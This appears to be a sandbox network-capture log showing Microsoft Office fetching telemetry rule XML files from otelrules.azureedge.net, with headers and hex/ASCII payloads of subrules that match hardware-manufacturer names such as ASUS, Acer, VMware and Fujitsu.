2024-10-11 18:30:01 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	57933	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:01 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:01 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:01 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: bef1d05a-c01e-0034-2ea3-1b2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183001Z-1597f696844jq2rssgzrsupds4000000040000000000skmt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:01 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	57936	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:01 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:01 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:01 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 971898ab-401e-0048-3fac-1b0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183001Z-r154656d9bckrjvwv99v3r8pqn00000000xg000000018w60 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:01 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	57937	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:01 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:02 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:01 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: db78f4ca-901e-0064-2ee7-1be8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183001Z-1597f6968448879qsksvpyxqh400000000ug000000018xaw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:02 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	57938	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:01 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:02 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: a6f3fb99-701e-0021-42dd-1b3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183001Z-r154656d9bcbgl7txcdy78hpp400000002rg00000000zsfx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	57940	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:01 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:02 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:01 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8abcb726-301e-001f-1b78-18aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183001Z-r154656d9bc6kzfwvnn9vvz3c40000000c400000000095te x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:02 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	57939	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:01 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:02 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:01 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: bfb1c3a9-701e-0098-25e9-1b395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183001Z-1597f69684469lsz07pz1m8tt0000000018g00000000a70e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:02 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	57941	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:01 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:02 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:01 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 21c85c4c-c01e-000b-22e7-1be255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183001Z-r154656d9bcq7mrvshhcb7rrsn00000002kg00000000wd49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:02 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	57942	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:02 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:02 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 94af9378-501e-0047-4aca-1ace6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183002Z-1597f696844d2h6g34xqfa1q1n00000002m000000000zkpp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	57943	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:02 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:02 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 555a530f-b01e-0070-599c-1b1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183002Z-r154656d9bcqc2n2s48bp5ktg800000002500000000042kn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	57945	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:02 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:02 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:02 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: bdf1ddaa-101e-0046-0383-1b91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183002Z-1597f696844q8c67yszg3hsx0000000003pg000000018h6u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:02 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	57944	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:02 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:02 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:02 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: dac0d9b0-601e-0097-08fb-19f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183002Z-1597f6968447j5lf3znmew1ya000000002cg00000000e02m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:02 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	57946	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:02 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
